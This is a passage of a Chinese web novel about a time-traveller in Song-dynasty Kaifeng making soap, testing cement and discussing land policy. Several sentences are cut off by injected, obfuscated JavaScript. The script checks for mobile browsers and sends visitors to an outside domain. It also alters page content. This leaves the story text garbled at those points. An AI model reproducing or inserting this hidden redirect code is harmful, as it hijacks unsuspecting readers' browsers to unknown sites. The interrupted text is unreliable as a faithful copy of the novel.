王文茵像是看穿了他的心思，拿起勺子舀了一小碗椰浆递给他，“尝尝看好不好喝？” 赵元宁嘿嘿一笑，接过陶碗浅尝一口，只觉颊齿留香，清甜甘润，比那牛乳有过之而无不及，似乎更合他的口味。 “好喝，太好喝了！”他捧起碗顿顿顿喝了个底朝天，抹抹嘴嬉笑道：“这椰浆若是拿出去卖，保管比市面上所有的饮子更畅销。” 王文茵失笑，“汴京可不盛产椰子，这点椰浆够卖几日的？” 这是实话，汴京的椰子是从琼州（海南）长途运输而来的。虽说琼州四季都盛产椰子，椰子在当地不值钱，但经长途运输到汴京，价格早已翻了不知几倍。不管是拿来食用还是榨椰子油，都属于奢侈品级别了。 赵元宁叹气：“椰子浑身都是宝，若是也能在本地种植就好了。” “怕是不行。椰子是热带作物，只有琼州这种平均气温高，全年无霜冻的的地区才能种植。” “可这椰子数量这么少，用来做香皂是不是太奢侈了？”赵元宁弱弱地说：“一筐椰子最后磨成椰浆也不过才一小盆而已。” 王文茵不否认：“你说得对，这一小盆椰浆最后能取用的也只有顶上一层椰油，仅这点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948464|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椰油怕是连做一块肥皂都够呛。” 这可把赵元宁弄糊涂了，“既然连一块肥皂都做不了，那花这么多钱买一筐椰子是图什么？” “自然是有别的用途。”王文茵故意卖关子：“待两日后你再来便知道了。” 赵元宁倒也不失望，好事多磨的道理他懂的，“看来今日是没机会看到你们做肥皂了。” “你想知道如何制作肥皂？这有何难，让静尘师太教你。”王文茵转身唤来静尘：“师太，今日可还有猪脂剩余？” 静尘点头，“昨日熬的猪油还剩一小罐。” “那便麻烦你给赵四郎演示一下如何用碱水将猪脂皂化。”王文茵道。 赵元宁并不惊讶静缘庵的女尼会做肥皂，惊讶的是王文茵居然将这制皂的秘籍毫无保留地教给旁人，难道她不怕女尼们拿着秘籍私自牟利吗？ 他将自己的担忧悄悄告诉她，王文茵闻言一笑，“制皂技术看似有难度，但若真要捅破这层窗户纸也并不很难，只需用心钻研，恁谁都能做得出来。与其藏着掖着，不如将之传授与人，如此才能让技术得到更好的发展。” 赵元宁还是不解：“若是人人都学会了制皂，那咱们铺子岂不是多了很多竞争对手？” “所以咱们需要不断创新，定期推出新产品，这样才能吸引到更多客户。而且，一旦制皂卖皂的商户增多，那么肥皂的价格便会相应降低。如此一来，即便是手头不宽裕的人也能买得起皂，用得起皂，便能改善所有人的卫生习惯，避免病毒传播，将时疫防患于未然。”王文茵道出了一个让赵元宁无法拒绝的重要理由。 赵元宁心生敬佩，也为自己的小人之心感到羞愧，“小娘子说的是，是我太市侩了。” 王文茵却缓缓摇头，“你的想法并没有错，核心技术本来就是机密，恁谁都想要藏私，不会轻易传人。不过也要区分，比如像十三香就是独家秘方，不会轻易传授给旁人。但像制皂、制米线这类技术传播出去不但有利于产品打开市场，还能造福于民，何乐而不为呢？” 赵元宁猛点头，简直恨不得振臂高呼：理解万岁！！ 此时，静尘过来告知猪脂已经加热融化成油状，可以皂化了。 赵元宁跟随静尘到操作台前，见她将先前备好的碱水缓缓倒入猪油中不断搅拌，直至变成浓稠的奶油状。 “这便是皂化反应。”王文茵在一旁解说：“搅拌混合溶液是为了让皂化反应更彻底，但不能搅拌过度，否则混合溶液太浓稠便很难倒入竹筒内固化定型。”【注4】 静尘将装入混合溶液的竹筒底部用力在案几上震了两下，液体表面冒出几个小气泡，她解释道：“溶液在倾倒过程中往往会渗入气体，若是不将气体彻底排出，肥皂固化后便会产生很多小气孔，如此既不美观，也影响品质。”【注4】 王文茵从静尘手中接过灌满皂液的竹筒，带着赵元宁去往隔壁的生产车间，“接下来带你去看看尚在固化阶段的肥皂。” 36. 第三十六章 生产车间 隔壁的生产车间便是原先的柴房，阿萍一家搬去朱仙镇前就住在这里，赵元宁之前给阿萍娘看病的时候来过此处。彼时阴暗颓败的茅草屋，如今已经改头换面，墙面刷白白，地上居然还铺了木地板，整间屋子整洁透亮，还特别……白净。 “这间屋子可真干净啊。”赵元宁啧啧赞叹。 “这是无尘车间，自然是越干净越好。”王文茵取来一双干净的布拖鞋，让赵元宁将沾满尘土的皂靴脱下放在门口，换上拖鞋再进去。 赵元宁还在犹豫要不要当着王文茵的面脱鞋子，结果赫然见她坦然自若地当着他的面换上了拖鞋。他不敢看，旋即背过身去，虽只是短短一瞥，但那双裹着白袜的纤足已经印入脑中，挥之不去。 他这些心思王文茵自是浑然未觉。在穿越过现代，又重生了一世的王文茵眼中，赵元宁跟文安世一样都只是小孩。虽然按实际年龄算她比他俩都要小，可心理年龄上她一直将他们视为后辈，那二人若是知道王文茵的想法，怕是要气昏过去。 生产车间的角落里井然有序地堆积着许许多多竹筒子，每一只竹筒上都标注了肥皂的生产日期。屋顶的木梁上悬挂着一只只竹篾篮子，篮子里装着已经切割好的肥皂块。 王文茵将盛满皂液的竹筒放到墙角静置，又顺手取来静置时间最久的一只竹筒给赵元宁看。 “这里面的皂液已经硬化凝固，可以取出来切割了。”说完她用砍刀沿着竹筒上沿用力一劈，竹筒就着裂缝开裂成对半，一截乳白色的肥皂出现在他们面前。 赵元宁伸出手指好奇地摸了摸，肥皂表面滑腻腻软趴趴的，很奇妙的手感，“这便是肥皂的成品了？” “还不是。”王文茵将半成品肥皂从竹筒中倒扣至案板上，再用刀分割成均匀的小块：“肥皂块还需放置在阴凉通风处静置一个月后方才算是皂化完成，否则硬度不够，一捏就容易变形，用起来很不称手。”【注1】 随后她从悬吊在屋梁上的竹篾篮子里取出一块已经皂化多日的肥皂给赵四郎看，“你摸一下看。” 赵元宁小心翼翼地抚过肥皂的表面，用手轻轻戳了一下，发现比先前那块硬了不少，忍不住点头，“原来如此，难怪你说制皂至少需要一个月。” “若是想要提高肥皂块的硬度，还可以在制作时加适量的盐，这便是冷制皂的制作方法。”王文茵道。 赵元宁突发奇想，“既然能做冷制皂，为何没有热制皂？” “你可真是个大聪明。”王文茵忍不住要给他点赞：“自然是有热制皂的。” 赵元宁没想到自己不过随口一说，还真给他说中了，不禁有些喜形于色，“这热制皂同冷制皂可有区别？” “区别可大了。”王文茵从一只系了黄色带子的竹篾篮内取下一块眼色较深的肥皂来给赵四郎看：“这便是热制皂。” 赵元宁拿在手里对比了一番冷制皂和热制皂，有些发愣，“这冷制皂和热制皂除了颜色略有不同，实在难以区分。” 王文茵笑道：“光用眼看自然是看不出区别的，你且试用一下便知道差别在哪儿了。” 赵元宁本着以身试法的精神，在王文茵的指点下先用热制皂洗了一遍手。洗完擦干后，王文茵问他：“感觉如何？” 赵元宁摩挲双手，有感而发：“洗的挺干净，就是洗完手有点干燥。” 王文茵点点头，没说什么，让他再用冷制皂洗一遍手。 赵元宁顺从地再次认真洗了一遍手，这一次没等洗完擦干他便给出了结论：“这冷制皂抹在手上还挺滋润，不似热制皂那般干爽。” 王文茵含笑点头，“这便是热制皂同冷制皂的区别。” 聪明如赵元宁一下就领悟了其中的奥秘：“莫非热制皂中缺少了滋润的成分？” “正解！”王文茵拍手笑道：“热制皂缺少的滋润成分正是甘油。” 为了便于理解，王文茵又当着赵元宁的面重新做了一回碱水与油脂的皂化反应。这一回她将碱水倒入持续加热的猪油中，整个皂化反应都是在高温下进行。待溶液内的水分被蒸发掉后，肥皂粒子逐渐凝结沉淀，随后将溶液用麻布过滤出来，剩下的沉淀物便用来做肥皂。【注1】 两相一对比，赵元宁自然看出区别来了，“我懂了，热制皂与冷制皂的区别就在于制作过程中是否持续加热，是也不是？” 王文茵点头，“冷制皂是低温环境下的皂化反应，最大限度地保留了油脂和其他材料中纯天然的滋润保湿成分，权因持续加热会导致皂液中的某些天然成分丢失，而其中最重要的保湿成分便是甘油。”她将适才用麻布过滤出来的溶液给赵元宁看：“这便是甘油。”【注1】 赵元宁将指头探入甘油中，刮起来一撮涂抹在掌心揉搓，脑中灵光一闪，“既然热制皂可以分离出甘油，岂不是比冷制皂更有价值？” 王文茵不否认：“热制皂不仅可以用来清洁，它的副产品——甘油的用途甚至比肥皂还多。此外，热制皂的制作周期相较冷制皂要短很多，只需一日便可固化成型。”【注1】 “那我们为何还要做冷制皂，直接卖热制皂不是更合算？”赵元宁喜道。 这个赵四郎还真有当资本家的潜质，王文茵在心里默默吐槽。 “冷制皂同热制皂因所含成分不同，针对的本就是不同的客户群体。冷制皂本身含有纯天然的甘油成分，清洁之余还有护肤滋润的功效，适合沐浴美容润肤之用，缺点是成本比较高。热制皂剔除了甘油这一滋润成分，只有清洁的功能，造价相对冷制皂低廉，可作清洁洗涤衣物之用，而它的副产品甘油则可另做他用。”【注1】 “妙啊！”赵元宁欢喜道：“这肥皂居然还能玩出这么多花样来，那咱们岂不是可以定期推出新产品吸引顾客上门消费？” 说到点子上了，王文茵拿出自己计划开发的产品类目单给他看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951947|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵元宁发现单子上光是香皂的品类就多达十几种，什么家事皂、绿茶皂、豆乳皂、牛奶皂、珍珠皂、桂花皂、玫瑰皂、芦荟皂、人参养颜皂等等，应有尽有。此外还有什么洗发水、洁面乳、面脂、香膏、香水、精油等等日化用品。【注2】 他两眼放光，这哪是什么产品类目单，这简直就是一张提款单，还是上不封顶的那种。他有些语无伦次：“若是将这张单子上罗列的产品全系列开发，那咱们岂不是能成为朱仙镇首富？” 王文茵有些好笑地乜了赵元宁一眼：“你这目标定的可够保守的。” 赵元宁惊讶地张大了嘴，朱仙镇首富还保守啊？想不到王小娘子的野心居然比他还大。 “莫非小娘子是想当汴京城的首富？” 王文茵摆手，“非也！做汴京城的首富，那得多招人恨啊，枪打出头鸟知不知道？我一个无依无靠没背景的小娘子做那劳什子首富跟把自己当活靶子放火上烤有何区别？” 赵元宁咽咽嗓子：“那你想做什么？” 王文茵正色道：“我只想做一个低调的有钱人，过上看花赏月吃喝玩乐的平凡生活而已。” 赵元宁深深看了她一眼，他不认为这是她的真心话，虽然不知她为何要撒谎，但她既然穿越过后世，定是带着使命来改变这个时代的，而这个秘密定然不能宣之于众。 他理解地点点头，“有钱有闲没烦恼，也正是我梦寐以求的生活呢。” 王文茵粲然一笑，“可不嘛，能平安富足过完这一生便足矣。” 她的笑容像春日的雨水，清澈甘洌，轻轻淌过赵元宁的心田，滋润了他的心肝肾肺。他微微侧过脸去，生怕被她看穿心思，王顾左右而言他：“你曾说自己穿越去过后世，不知是否知晓本朝的未来？” 这思维跳跃得叫王文茵有些转不过弯来，脱口道：“自然是知晓的。” 赵元宁好奇心顿起，舔舔唇问道：“能否为我泄露一丝天机？” 王文茵眨巴了一下眼，心说：别说本朝还没有买彩票这种盈利模式，就算有我也不可能记得住哇，毕竟我只是笼统地了解了历史的走向，并不清楚个中细节。她问：“你想知道什么？” 赵元宁兴奋地瞪大眼，满怀希冀道：“能不能告诉我本朝未来将会发生什么样的大事？这些事将对本朝产生什么样的影响？” 发生影响本朝的大事？ 王文茵清楚记得后世的历史书上记载的那场颠覆北宋王朝的“靖康之乱”发生在1127年，距今仅剩不足四十一年。这场巨变发生之后，金人的铁蹄将踏破燕京，南渡黄河，攻取汴京，掳走徽、钦二帝，从此北宋王朝也将不复存在。 但，告诉他这些事做什么呢？自己又不能改变历史，除了徒增烦恼。 “我且问你，若是你知道自己的死期是什么时候，你还能没心没肺愉快的将余下的日子过好吗？”王文茵面色肃然道。 37. 第三十七章 文七衙内 赵元宁哑然，这个问题他并不陌生，他曾见过许多病患在被告知命不久矣后，眼中便再也没有了光，失去了生的希望，余下的日子不过是苟延残喘，又何来快乐可言？ “王朝兴衰皆是历史趋势，知道结局又如何？”王文茵有感而发：“未知才是充满希望的，已知结果不会令你珍惜当下的每一天，反而会让你有种头顶悬剑的压迫感。” 赵元宁心念微动，王小娘子的话外音他听出来了，纵观历史，几乎没有哪个王朝能善始善终，本朝也必然会走向衰退。且不说眼下北方辽国和西夏虎视眈眈，便是那金人和蒙古人也绝非善类，更逞论冗兵、冗官、军弱、苛政等内患问题。可这些事岂是他们这些平民百姓能管得了的？ “你说得对，该发生的事总归要发生，提前知道反而给自己徒增烦恼，活在当下，把每一日过好才最重要。”赵元宁释然道。 王文茵松了一口气，赵元宁是个明白人，不会钻牛角尖，跟这样的人做朋友最是舒坦，不用费劲巴拉拐弯抹角，只消给点提示，对方自己就能融会贯通。 赵元宁同王文茵将接下来准备开发的新产品商讨完后，约定两日后再过来。王文茵委托他定制一批小瓷罐做容器用，赵元宁领着新任务独自回了朱仙镇。 这一通折腾下来已过晌午，早上为了赶路只吃了一个五香花卷，这会子肚子饿得咕咕叫。周婆子给大伙儿煮了米线，王文茵拿起筷子刚想吃一口，猛地想起了跟文安世的约定，放下碗就往外跑。 周婆子在后面喊她：“小娘子这是要去哪儿？” “去山顶。”王文茵头也不回应了一声，匆匆忙忙朝山顶奔去。 这一路她心里想的是我既答应了，那便不能爽约，不过暗暗期盼文安世早已等得不耐烦，顾自回庄子里去了，这样她便不用饿着肚子跟他一起做水泥混凝土的试验了。结果没想到，还没到山顶就看见文家庄的家丁正用轱辘车一大筐一大筐地朝山顶上搬运建筑材料。 王文茵上前抓住一名家丁询问，对方答曰：“我家七郎正在山顶上忙着做那个什么泥什么土的试验呢。” 王文茵愕然，拔腿就往山顶奔去。 此时，山顶上热闹非凡，一边是陈武指挥家丁将运送上来的建材分门别类堆在一起，另一边则是文安世亲自下场带着几名家丁用铁揪搅拌混凝土。 王文茵简直不敢相信自己的眼睛，平日里那个清雅俊逸有洁癖的七衙内居然换了一身粗布衣裳，卷起裤腿捋起袖子同家丁一道在劳作？？但这不是重点，重点是他一点不像文弱书生，看他挥舞铁揪的架势更像是从军营里操练出来的。 眼角余稍瞥见不远处呆愣在地的王文茵，文安世将手里的铁揪放下，跨步走到她面前，咧嘴一笑：“何时来的？” “刚来。”王文茵哂笑：“是我来晚了。” 文安世看她一眼：“不晚。” 他将王文茵带到一排木笼子前，王文茵惊讶地发现文七郎居然无师自通琢磨出用木箱浇灌混凝土的方法了。 “你是如何知晓灌注混凝土需用木箱笼模板的？” 文安世觉得王文茵这问题问得莫名其妙，“我记得你先前说过混凝土需将砂、石、水泥和水混合搅拌后方能固型，若是没有这模具，该当如何固型？” 王文茵觉得自己想当然了，以为这些技术上的难题只有像她这样的穿越者才了解其中的奥妙，事实上历朝历代有脑子的聪明人都能自行破解，不然科学技术又是如何得到进步发展的？总不能是靠穿越者吧。 “七衙内说的是。”王文茵歉然道：“是我自以为是了。” 文安世却笑着摇头，“何出此言？若是没有人亲授，我便是想破脑袋也不可能清楚其中的原理。” 他转身从地上一只箩筐内抓起一块灰白色的石头递给王文茵看，“你看这是什么？” 王文茵从他手中接过石块用手指捏搓表面，灰白的碎屑便挫了下来。 她惊喜道：“这是石灰石？” “正是。”文安世含笑点头：“我着人打听了一番方才得知，距汴京不远的西京（洛阳）便有不少石灰石矿山，而当地人其实早就掌握了烧制石灰的方法，便托人弄了一些回来做试验。”【注1】 果然，有人脉有背景的文七郎才能在这么短的时间内搞到这些建材，王文茵由衷感叹。 “我依照你说的将石灰石、粘土、水淬矿渣、炉渣灰、和熟石灰混合的生料直接高温煅烧后便成了这粗制的熟料。”文安世指着箩筐内的熟料道：“实在找不到可将生料研磨精细的工具，暂且只能将就着充作水泥原料试验了。”【注2】 “这便够了。”王文茵满意地摆手道：“能弄到这些材料便很不容易了，没必要过于讲究，毕竟咱们只是修个蓄水池，又不是盖宫殿桥梁。” 后世的水泥可是在工业化的基础上生产出来的，就这个时代的技术水平，能仿制出类似水泥的原材料已经很不容易了，没那么讲究，王文茵在心里说。 文安世自然没告诉她弄到这些材料是费了多大的周折，即便身为当朝宰执的嫡孙，他也不是想干嘛就能干嘛的。相反因为一些朝堂纷争与利益纠葛，他更应该处处小心谨慎才能避免给御史留下抨击祖父的机会。 但这些事他是不会跟王文茵说的，在他看来能够帮她一起为流民们做些实事远比整日闷在屋内读圣贤书有意义多了。更何况这水泥混凝土若是能研制成功，可应用的范围就太广了，相信那位帮他找到这些材料的“朋友”肯定很高兴。 “你来之前我已将熟料和石膏粉末按不同比例调配成水泥，并搅拌砂、石、水浆成混凝土灌注在这些箱笼之中了。”文安世一一指给王文茵过目，每只箱笼上都详细记录下了熟料和石膏粉、水浆、砂石的配比数量。 王文茵不得不写个服字给他，这活干得也太专业细致了吧！文七郎要是生在后世，那妥妥就是学霸工程师预备役。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957120|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“做得真的太好了！”王文茵发自肺腑夸赞：“你还亲自动手做这些粗活。” 文安世嘴角抿起一丝得意的笑，挑起一边眉尾道：“这么重要的试验又怎能假手于人？” “那倒是。”王文茵眨眨眼，促狭道：“我只是比较意外罢了。” “你是不是觉得像我这样锦衣玉食的纨绔子弟除了招猫逗狗就干不了什么实事对吧？”文安世状似不经意地问出了口。 “嗯，啊？不，不是……”王文茵暗暗咬舌，什么嘛，差点被他绕进去。 文安世双手抱胸盯着王文茵的眼睛，脸上写着“我就知道你是怎么想我的”几个字。 王文茵哂笑，“你别误会啊，我这不都是被先入为主的想法误导了嘛，谁让你一开始看起来很高冷的样子。” 文安世不满地皱眉，“所以那位赵郎君看起来不高冷？” “他呀，他不高冷，他挺随和的。”王文茵心无城府道。 文安世的嘴角往下坠，心里有些泛酸，王小娘子这语气听起来好像她跟赵郎君的关系非同寻常一般，忍不住探询：“你们……你跟他是什么关系？” “啊？我们是合作伙伴呀。”王文茵很坦然。 “只是合作伙伴？” “不然呢？”王文茵心说，文七郎是吃错药了吗？这语气，怎么好像在吃醋似的。一想到这，自己也吓了一跳，赶紧回头去看他，发现他的眼神清澈，并无任何杂念，不由舒了一口气，是我想多了。 这时，两人的肚子都唱起了空城计，不约而同相视一笑。 “你们都还没用过膳吧？正好我们庵里煮了米线，要不大家一起吃点东西再干活？” 陈武他们一听不由自主停下了手里的活计，眼巴巴望着文安世。 文安世一挥手，“先休息一下吧，待吃完再继续。” 家丁们发出一阵欢呼声，跟在王文茵身后，浩浩荡荡朝静缘庵而去。 听说文家七衙内要来庵里用膳，妙善紧张得把自己的禅房让出来供他使用，可文安世却不买账，坚持跟王文茵一起躲在小灶房里吃米线。 “你说你……”王文茵看着坐在对面矮凳上的文安世，咕哝道：“师太不是让你去禅房里用膳嘛，干嘛非要挤在这又小又乱的灶房里吃？” “不是你邀请我来用膳的吗？”文安世朝四周看了看：“这里不是挺好的嘛，很有烟火气。” 王文茵皱眉，“这种地方不适合你这样的人。” “我哪样的人？”文安世眨眨眼。 王文茵有些懊恼：“难道一定要我直说吗？你是文家的七衙内，这里是尼姑庵的灶房，平日里除了女尼，就是我们这些流民才会在此用膳。若是文老夫人知道了，会给我们带来麻烦的。” 文安世若有所思看着王文茵，“‘我们这些流民……’你几时成了流民了，呃？” “我……”王文茵气结，将手一挥，“总之这里不适合你。” 38. 第三十八章 土地政策 周婆子端着刚出锅的米线过来打圆场：“小娘子，刚出锅的米线还是趁热吃比较好，既然七衙内不介意，就让他在这儿吃吧？” 文安世笑了笑，从周婆子手中的托盘上端起一碗米线放到王文茵面前：“吃吧。”说完拿起筷子吃自己的那份米线，吃的那叫一个香，把周婆子看得眼睛都快笑没了。 王文茵很无语，心里安慰自己，算了，只此一次下不为例。她不知道的是，从这天开始文安世像是对她们的小灶房上瘾了一般，三天两头跑过来蹭饭吃。 饭后，王文茵又同文安世一起去看已经在开垦的梯田。 流民们除了每日轮班在米线作坊打工挣钱，余下时间就是一起开垦梯田，修建茅草房。土地是农民的立身之本，是他们赖以生存的基本保障。尽管在米线作坊打工能挣钱，但他们依然想要属于自己的田地，只有这样才算是真正在此地立了足，有了归属感方能安居乐业。 农民是古代每一个王朝赖以生存的重要劳动力，而土地则是国家最重要的生产资料，几乎每一个王朝都存在国家与地主之间对土地和人口的争夺。秦朝和西汉前期，曾实行“名田制”，臣民以户为单位被编入国家的户籍，称为“编户齐民”。国家授予齐民土地，齐民在土地上耕作，同时向国家缴纳赋税，履行徭役和兵役的义务。但现实中经常出现齐民因经营不善沦为破产的无田者，地主豪强则通过巧取豪夺吞并了齐民的田地。【注1】 破产的编户齐民往往只有有两个选择，要么沦为国家或地主的奴婢，不再是编户齐民便不能给国家交税，沦为地主私人的奴婢将对国家再无贡献可言，国家失去的齐民和土地都将成为地主私人的财产。齐民的另一个选择则是成为地主的佃户，佃户不仅要给地主交地租，还要给国家纳税、服徭役。最后不堪重负的佃户或放弃自由身沦为奴婢，或成为无业流民，揭竿而起。【注1】 唐太宗李世民借鉴前朝经验开始实行“均田制”，即土地归国家所有，农民只有使用权，不能买卖、转让或兼并。但因操作成本太大，最终还是废止了。而这一番国家与地主争夺土地、人口的交战，历经几个朝代最终都以国家失败而告终。于是宋朝著名的经济学家宋太祖赵匡胤在吸取了前人的血泪教训后正式开启了中国历史上前无古人后有来者的土地私有权朝代，取消国家对土地的所有权，承认农民对土地的私有权，允许农民自由地开垦、流转、兼并土地。【注1】 此外，宋朝政府为了鼓励农民开垦荒地，还提出了免租减税的优惠政策，谁想开垦荒地那么这块地就归谁所有，人人机会均等，真正让老百姓实现了勤劳致富的“大宋梦”。与之相反的却是那些因为经营不善、子孙析产最后不得不破产卖田的地主也有可能沦为普通农民甚至佃农。将土地交给市场，用土地买卖自由化催生社会阶层流动，来对抗土地买卖自由化所造成的土地兼并，而国家则成为土地经济的调控者，这样的土地政策不得不说是时代的进步。【注1】 鲁大等人正在平整田坎，修理边坡，清理开垦出来的石块，见王文茵同文安世过来，立时停下了手中的活计，上前来叩谢。【注1】 “小娘子，七衙内，请受我们一拜。”鲁大偕同众流民一起下跪行礼。 文安世还了一礼，托起鲁大手肘道：“大家无须行此大礼，快请起。” 鲁大却摇了摇头，哽咽道：“小娘子和七衙内不计前嫌，不仅给了我一个改过自新的机会，还给了我们所有人一个改变自己人生的机会，这个礼你们受得起。”说完咚咚咚连磕了三个响头。 其他人见状也纷纷磕起头来，这样的场面快把王文茵跟文安世整不会了。 “大家快别这样。”王文茵劝道：“我同七衙内只是尽了一点绵薄之力而已，实在当不起大家这番大礼。” “不是的，小娘子。”鲁大眼含热泪，动容道：“虽然我朝有政策规定允许流民将自己开垦的荒地纳入个人名下，但开垦荒地需要动用大量的人力、物力与财力。别说是像我们这样身无分文的流民，即便是有几亩薄田的农民、佃户也几乎不可能靠自己开垦荒田的呀。更逞论兴修水利，建蓄水池，盖茅草房，开垦梯田这样费时费力费银的工程。如若不是小娘子和七衙内出手相救，我等怕是挨不过这个冬天，又怎敢妄想在此地立足，安居乐业呢？” 跟其他流民不同的是，鲁大虽然也是农民出身，但他念过几年私塾，算得上是个半吊子秀才，还参加过解试。后来考了几次都没能考上举人，便觉得自己不是考科举的料，回家娶了私塾先生的女儿为妻，老老实实种田去了。 按说像鲁大这样的人原本是可以在老家安安稳稳过完一生的，若不是他岳丈被人构陷吃了官司，被迫只能变卖家中所有的田产打官司。将人从牢里赎出来后，又被地方恶霸驱逐，一家人只能离乡背井逃难来了汴京，而他岳丈也因体弱多病死在了来京途中。 是以，同为流民的鲁大却是要比其他人更有见识和领导力，这也就是一路上他能将一帮乌合之众团聚起来的主要原因。 王文茵默然，她知道鲁大说的是对的，即便朝廷的土地私有政策给了所有人一个看似“机会均等”的契机，但真正能改变自己命运的人又能有几个？如果没有米线作坊提供就业机会，流民根本就没有可能吃得饱饭；如果不是文安世出钱出力，流民又怎么可能开荒修房，度过这个可能活不过去的寒冬。 王文茵叹了一口气，她知道自己能力有限，而真正能改变社会现状的人，还得是当权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960736|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者，只是如今掌权的早已不再是当年那位励精图治，寻求变法改变国家积贫羸弱的宋神宗了。 文安世见王文茵紧皱眉头，一脸气馁的样子不禁奇道：“为何叹气？” “朝廷的开荒政策如果没有巨大的财力支持和有力的监督管理，其实是惠及不到大部分底层穷人的。”王文茵直率地看向文安世：“你说是不是？” 文安世微微一愕，随后不得不承认：“确实如此。失去土地的流民会成为影响社会不安定的因素，不过朝廷也规定了失地农民可以不必缴纳田租。即便不能开荒建屋，流民也可以选择做佃户，或是进城打工，从事商业和手工业，有一技之长总能混口饭吃吧。” “你想的太简单了，且不说汴京城内居不易，房租物价比其他地方要高不少，外来的流民不是想留就能留下的，更何况还得有一技之长。大部分人一辈子可能只会种地，根本不懂其他手艺活，更逞论做小买卖了，那得有本金才行。”王文茵自己吃过没钱的苦，自然深有体会。 她的一番肺腑之言也令文安世内心大为触动，“你所言非虚，是我考虑不周，惭愧。” 他这么说，王文茵反而不好意思了，嗫喏道：“这又不是你的错，何况以你的出身根本接触不到这些底层的流民，又怎会了解现实社会的真相究竟是如何。” “但我想同你一样为底层的百姓做点实事。”文安世脱口而出，说完一瞬不瞬盯着王文茵，目光灼灼。 王文茵脸颊飞红，耳朵发热，慌忙别开脸躲避文安世的目光，轻咳一声道：“若是想为百姓做实事，那就必须深入基层才有可能。” 文安世虚心接受，从善如流：“我懂，王介甫相公当年曾主动放弃入京为官的机会，自请前往鄞县任知县，深入基层亲自跑遍了每个乡村，对百姓的真实状况做了详尽的调研后，又将县衙能够动用的粮食和全县每年需要借贷度日的农户进行了全面统计，最后推出了官府放贷的措施，避免百姓因借高利贷而破产。这一举措，不但叫百姓得到了实惠，提高了生产的积极性，地方政府的储备粮也实现了增值，可谓是一举两得的良策。”【注1】 王文茵不知道他有意无意提起祖父是为了试探自己呢，还是另有目的，于是也毫不客气怼他道：“据我所知，王介甫相公与尊祖父可是政敌死对头，你却为何对王相公如此膜拜？” 文安世低低一笑，坦言道：“祖父与王相公政见不同，势同水火，但我也有自己的立场和坚持。王相公为人清廉，一生为国为民，他的人品我深感佩服，他的变法主张亦深得我心。也许在你看来像我这样出身的人是没有资格说这种话的，但我是真心实意想为民谋福利，一如王相公、范大人那般先天下之忧而忧，后天下之乐而乐。” 39. 第三十九章 铁血皇帝 文安世这番肺腑之言王文茵说不感动是假的。 祖父因为变法得罪了几乎所有人，连曾经的挚友司马光都成了老死不相往来的政敌。而文七郎这个保守派掌门人，旧党领袖，当朝宰执文彦博的嫡亲孙儿却当着她的面直言不讳地对她那个被整个朝廷孤立的祖父表达了发自肺腑的仰慕之情，她能不感动吗？ 只是，感动之余理智却告诉她，这也许只是一个少年一时冲动、热血上头才会说的话，当不得真，便有些敷衍地应道：“那便就祝七衙内心想事成！” 文安世脸上的笑容一凝，眼神黯淡下去，“你不相信我的话？” 王文茵连忙摇头：“我信啊，只不过嘛……” “不过什么？” 王文茵直率地看着他，“为民谋福不是仅靠一腔热血就够了，还需要足够的力量去对抗，去坚持，甚至为此付出生命，这些你能做得到吗？” 文安世内心如潮涌，是啊，空谈理想是最容易的，古往今来有几人能为了理想奋斗一生，甚至付出生命？他有些羞愧，自己还是太不成熟了，居然轻易就把内心的想法说出了口。可他为什么这么冲动，难道不是因为对方是王相公的亲孙女吗？在她面前他不必掩饰自己，就像当初她当着他的面毫不顾忌的说自己喜欢钱，要赚好多好多钱那样。 文安世释然了，坦率承认：“你说得对，这些问题我都没考虑清楚，但也请给我一点时间，我一定会让你看到我的诚意。” 这话听着怎么这么奇怪？ 王文茵皱眉道：“你无需向我证明什么。” “如果我说要呢？”文安世执拗地看着王文茵。 文七郎这倔脾气倒是让王文茵想起了她祖父，王安石人送外号“拗相公”，跟司马光的绰号“司马牛”有异曲同工之妙。两人一样的臭脾气，一样执拗，在朝堂上可谓是针尖对麦芒，谁也不服谁。 